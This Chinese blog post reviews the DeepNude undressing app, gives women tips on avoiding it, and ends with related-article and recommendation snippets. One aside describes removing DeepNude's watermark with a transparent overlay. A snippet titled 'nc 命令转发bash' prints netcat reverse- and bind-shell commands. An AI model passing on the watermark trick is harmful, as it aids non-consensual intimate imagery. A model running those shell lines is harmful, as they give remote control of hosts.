写在前面的话

本文不提供下载方式,开源部分只是社区逆向后公开的部分源码

这篇文章有些人看了可能会比较极端,但不从技术角度分析又谈何防护?攻与防一直存在,不管是安全还是AI都是一样

你极端不极端,它就在那里,与其愤怒不如懂得保护自己(逆天测评软件也是出于保护另一半的初衷)

技术本身没有好坏,关键看使用的人,DeepNude作者是做出这个应用了,但这项技术也可以做诸如老照片修复、照片还原之类的应用

今天出DeepNude明天可能出DeepPeople,这些东西层出不穷,技术才是核心,了解本质才能在攻防中占主动

还是那句话,技术本身没好坏,关键看人,一个信息化的时代就是这样,不能适应技术就等着被技术淘汰,有些技术的确很恶劣,但换个角度就可以造福人类,关键看你怎么想

比如以前的工厂机器化是导致很多人失业了,但换来的是经济大爆发,是全民物质条件的飞跃,那时代的人,如果一直抱有排斥而不能适应机器化就会被淘汰,但如果你换一个思维呢?机器需要人来控制,如果你去学习掌握机器呢?

比如现在的占主流行业的机电一体化就是这个时代的产物,同样的,人工智能时代到来了,如果一味逃避、一味怨念,那必然被淘汰,终身学习时代早已到来

而我们应该庆幸的是,我们是IT行业,在这个行业技术更迭之快,前所未有,在这种环境下程序员们比其他行业对终身学习的思想领先太多

远的不说,就谈带小孩这个事情,如果你好好观察下周围就会发现:老人们带小孩有代沟,孩子年幼的时候不能以以前的方式带娃,很多老人都会报个公益培训班,学下月嫂是怎么带娃的

再举个更近的例子,智能机很多老人都不会玩,但基于微信可以联系五湖四海的朋友和亲人,基于视频聊天可以省钱,基本上有智能机的老人都会玩了

再说个商家的例子,以前是现金时代,现在无纸化时代,按照道理老人做生意应该更不上的,逆天上次见了一个七旬老人打印微信和支付宝收钱码,各种功能玩的不要太溜

小孩就更不用说了,虽然过早接触电子产品不太好,但每天控制在2h内还是没多大问题的,小孩子对手机的熟悉度已然超过很多中年人了

老人小孩都如此,又何谈其他?生活中时刻学习的案例太多太多,只是不学习的你没有看到而已~

再说个和工作相关的,80、90时代双语普遍不怎么样,但95开始就算那些英语考的差的也能得80多分,这是什么概念知道吧?稍微培训下就可以国际化的水准!

没有终身学习的思想意味着,你现在的工作没几年就被下面的小朋友取代,意味着你老了各种被嫌弃

可能很多人要说自己有经验,但现在各种培训机构层出不穷,各种大牛卖经验授课,很多小年轻可不比你差多少(多注意下周围优秀小伙子你就秒懂了)

70、80是互联网时代+房产福利,而90并没有明显的优势却有着各种生不由己,然后就被后面的人给蚕食了

你自己结婚是不是你想怎么办就怎么办?为小孩是不是非得争一争学区?想弄一场想走就走的旅行是不是真那么好实施?想生活在国外、大城市却不能不考虑父母的感受?

唯一的优势也就成了比小年轻稳重点,没有终身学习思想的人都那么多,那能贯彻终身学习的同志又能做到多少呢?

新技术出来与其一味抱怨,不如抽点时间了解下,反正又不用精通,简单掌握使用和知道技术的原理就行了,不管是攻还是防自己心底多少有个数

核心竞争力:专精1~2门技术,其他技术点会用就行

如果一直处于无知状态,那被技术坑杀了你可能都不知道

多的也就不说了,没有多大意义,推荐大家了解了解曾国藩王阳明,在这个物欲弥漫的时代就和一股清新泥石流一样,绝对有所感触


正文

这段时间脱衣应用DeepNude铺天盖地的,很多吃瓜群众不明所以,把效果吹上天了,什么诸如:“拍张照片就脱光”、“公民没有隐私权”之类的层出不穷

其实DeepNude是人工智能V2阶段的产物,其效果还没到这种级别,逆天简单测评了下,发现只是对比基尼之类“大尺度简单场景”的照片有“脱光”的效果,而且对于非高清图片效果很差

其实从数据训练的角度分析可能逆推出,作者肯定基于这类高清照片进行了大量训练而得到了Model,而对于男装效果就一般般了,大家不用过于恐慌(如果到了V3时代就真不好说了)

防护:

  1. 不要穿暴露太多皮肤的衣服(关键别被猥琐的人拍到)
  2. 性感写真要求影楼删档(或者不公开)
  3. 如果就是想穿性感衣服可以这样处理来增加机器还原的复杂度:
    • 可以在复杂场景下拍摄
    • 或者在灯光接近肤色的地方拍摄
    • 或者尽量拍摄横图而不是竖图(只针对软件选图,以后会失效)
  4. 上传照片不要太高清

开源:(破解不一定需要从程序角度,用同大小的透明图片替换水印也是一种思路)

女性对DeepNude脱衣技术的防护的更多相关文章

  1. web攻击技术与防护

    一.跨站脚本攻击(XSS) 跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏览器运行非法的HTML标签或JavaScript进行的一种攻击.动态创建的HTML部分有可能隐藏着安全漏洞.就这样, ...

  2. Deepnude算法“tuo”衣服

    PS:我不是偷窥狂.我是技术的爱好者 换脸视频后AI又出偏门应用:用算法“tuo”女性衣服 据美国科技媒体Motherboard报道,一名程序员最近开发出一款名叫DeepNude的应用,只要给Deep ...

  3. 听说,霸都.NET技术社区准备搞线下聚会了?

    嗨,你听说了没有?霸都.NET技术社区准备搞线下聚会了! 啥时候的事情啊? 最近才知道的消息啊! 那你是从哪里知道的消息呢? .NET Core项目实战交流群(637326624)啊! 那这次合肥.N ...

  4. Yeslab 华为安全HCIE-第五门-防火墙攻击防范技术

    Yeslab 华为安全HCIE-第五门-防火墙攻击防范技术 课程目录 Yeslab华为安全HCIE-第五门-防火墙攻击防范技术(8篇)\1_单包攻击防范.aviYeslab华为安全HCIE-第五门-防 ...

  5. The Art of Deception

    前言 一些黑客毁坏别人的文件甚至整个硬盘,他们被称为电脑狂人(crackers)或计算机破坏者(vandals).另一些新手省去学习技术的麻烦,直接下载黑客工具侵入别人的计算机,这些人被称为脚本小子( ...

  6. web开发常见的几大安全问题

    一.SQL注入 SQL注入是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击.SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求 ...

  7. <老友记>学习笔记

    这是六个人的故事,从不服输而又有强烈控制欲的monica,未经世事的千金大小姐rachel,正直又专情的ross,幽默风趣的chandle,古怪迷人的phoebe,花心天真的joey——六个好友之间的 ...

  8. <转> 纸牌屋1-4集分析

    原文:http://blog.sina.com.cn/s/blog_b86c61490102v56t.html 第一季第一集 主人公弗兰克的出场,是以对待一只邻家将死之狗的态度展开的,充分显示了主人公 ...

  9. 常见六大Web安全攻防解析

    前言 在互联网时代,数据安全与个人隐私受到了前所未有的挑战,各种新奇的攻击技术层出不穷.如何才能更好地保护我们的数据?本文主要侧重于分析几种常见的攻击的类型以及防御的方法. 想阅读更多优质原创文章请猛 ...

随机推荐

  1. vsftp上传553 Could not create file错误解决

    可以正常连接,可是上传文件是提示553 Could not create file无法创建文件. 权限不足,从根目录开始检查保证每个文件夹都有777的权限,就可以正常上传.

  2. Java动态代理-实战

    Java动态代理-实战 只要是写Java的,动态代理就一个必须掌握的知识点,当然刚开始接触的时候,理解的肯定比较浅,渐渐的会深入一些,这篇文章通过实战例子帮助大家深入理解动态代理. 说动态代理之前,要 ...

  3. lastal

    http://last.cbrc.jp/doc/lastal.html This program finds local alignments between query sequences, and ...

  4. kafka(五) 流式处理 kafka stream

    参考文档: http://www.infoq.com/cn/articles/kafka-analysis-part-7?utm_source=infoq&utm_campaign=user_ ...

  5. ModuleNotFoundError: No module named 'pymysql'

    出现此提示表示系统中没有安装PyMySQL,可以通过pip PyMySQL进行安装. 安装之后,执行import pymysql仍然不可用! why? 检查后发现系统中存在python2与python ...

  6. nc 命令转发bash

    反向 1.控制端:nc -lvp 4444 2.被控制端:nc 控制端IP 4444 -e /bin/bash 正向 1.被控制端:nc -lvp 4444 -e /bin/bash 2.控制端:nc ...

  7. MyBatis(十一):Mybatis 动态SQL语句完成多条件查询

    之前文章中对in的用法做过讲解:<MyBatis(四):mybatis中使用in查询时的注意事项> 实际上对于多个参数的用法也是这是注意的: 多参&if判空&List集合判 ...

  8. 在linux上安装运行安卓系统

    一. 环境 Ubuntu 二. 安装QEMU $sudo apt-get install qemu qemu-kvm libvirt-bin 三. 创建虚拟硬盘文件,将安卓安装在此虚拟硬盘上 $qem ...

  9. HTML+CSS实现鼠标点上去动画效果

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  10. FastJson 对json中的KEY值的大小写转换方法

    /** * json大写转小写 * * @return JSONObject */ public static JSONObject transToLowerObject(String json) { ...